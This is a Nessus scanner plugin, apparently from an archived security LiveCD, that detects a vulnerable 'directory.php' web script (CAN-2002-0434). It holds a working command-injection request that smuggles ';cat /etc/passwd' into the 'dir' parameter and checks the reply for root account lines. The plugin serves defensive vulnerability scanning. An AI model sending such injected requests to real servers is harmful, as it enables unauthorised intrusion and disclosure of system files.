home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / modules / nessus-2.2.8.mo / usr / lib / nessus / plugins / directoryphp.nasl < prev    next >
Text File  |  2005-03-31  |  2KB  |  66 lines

  1. #
  2. # This script was written by Michel Arboi <arboi@alussinan.org>
  3. #
  4. # GPL
  5. #
  6.  
  7. if(description)
  8. {
  9.  script_id(11017);
  10.  script_bugtraq_id(4278);
  11.  script_cve_id("CAN-2002-0434");
  12.  script_version ("$Revision: 1.15 $");
  13.  name["english"] = "directory.php";
  14.  script_name(english:name["english"]);
  15.  
  16.  desc["english"] = "The 'directory.php' file is installed. 
  17. 1. This tool allows anybody to read any directory.
  18. 2. It is possible to execute arbitrary code with the rights 
  19.    of the HTTP server.
  20.  
  21. Solution : remove 'directory.php'.
  22.  
  23. Risk factor : High";
  24.  
  25.  
  26.  script_description(english:desc["english"]);
  27.  
  28.  summary["english"] = "Checks for the presence of /directory.php";
  29.   summary["francais"] = "VΘrifie la prΘsence de /directory.php";
  30.  
  31.  script_summary(english:summary["english"], francais:summary["francais"]);
  32.  
  33.  script_category(ACT_GATHER_INFO);
  34.  
  35.  
  36.  script_copyright(english:"This script is Copyright (C) 2002 Michel Arboi");
  37.  family["english"] = "CGI abuses";
  38.  family["francais"] = "Abus de CGI";
  39.  script_family(english:family["english"], francais:family["francais"]);
  40.  script_dependencie("find_service.nes", "http_version.nasl");
  41.  script_require_ports("Services/www", 80);
  42.  exit(0);
  43. }
  44.  
  45. #
  46. include("http_func.inc");
  47. include("http_keepalive.inc");
  48.  
  49.  
  50. port = get_http_port(default:80);
  51.  
  52. if(!get_port_state(port))exit(0);
  53. if(!can_host_php(port:port)) exit(0);
  54.  
  55. foreach dir (cgi_dirs())
  56. {
  57. req = http_get(port:port, item:string(dir, "/directory.php?dir=%3Bcat%20/etc/passwd"));
  58. r = http_keepalive_send_recv(port:port, data:req);
  59. if( r == NULL ) exit(0);
  60. if(egrep(pattern:".*root:.*:0:[01]:.*", string:r))
  61.  {    
  62.      security_hole(port);
  63.         exit(0);
  64.  }
  65. }
  66.